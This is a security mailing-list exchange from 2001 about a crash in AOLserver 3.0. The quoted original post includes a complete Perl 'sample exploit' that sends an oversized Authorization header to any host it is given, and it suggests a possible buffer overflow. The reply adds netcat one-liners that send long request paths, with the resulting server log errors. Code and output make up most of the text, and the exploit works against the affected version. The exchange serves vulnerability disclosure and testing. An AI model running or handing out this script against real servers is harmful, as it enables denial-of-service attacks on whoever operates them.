Re: AOLserver 3.0 vulnerability

[KF <dotslash () snosoft com>]

Today I downloaded aolserver-3.0.tar.gz ... here are my test results. 

 echo "GET /`perl -e 'print "A" x 2348'`" HTTP/1.0\r\n\
r\n"  | nc localhost 8000

[22/Aug/2001:21:57:00][12425.5124][-conn2-] Error: nsd.fastpath:
stat(/tmp/aolserver/servers/server1/pages/ HTTP/1.0\nAuthorization:
Basic 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...) failed: File name too long

 echo "GET /"`perl -e 'print "A" x 2348'`" HTTP/1.0\r\n
\r\n"  | nc localhost 8000

[22/Aug/2001:22:00:06][12425.6148][-conn3-] Error: nsd.fastpath:
stat(/tmp/aolserver/servers/server1/pages/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...) failed: File name too long

-KF 


Nate Haggard wrote:
> Aolserver 3.0 will crash when it is given a long authorization string.  It
> is also possible this vulnerability will allow a hacker to execute
> arbitrary code through a buffer overflow. I have not verified a buffer
> overflow exists.  Aolserver 3.4 and 3.3.1 are not vulnerable to this attack.
>
> Here is a sample exploit:
> ------------------------------------------
> #!/usr/bin/perl
> use IO::Socket;
> unless (@ARGV == 1) { die "usage: $0 host ..." }
> $host = shift(@ARGV);
> $remote = IO::Socket::INET->new( Proto     => "tcp",
>                                  PeerAddr  => $host,
>                                  PeerPort  => "http(80)",
>                                  );
> unless ($remote) { die "cannot connect to http daemon on $host" }
>
> $junk = "X" x 2048;
> $killme = "GET / HTTP/1.0\nAuthorization: Basic ".$junk."\r\n\r\n";
> $remote->autoflush(1);
> print $remote $killme;
> close $remote;
>
> --------------------
> Nate Haggard
> SecurityLogics.com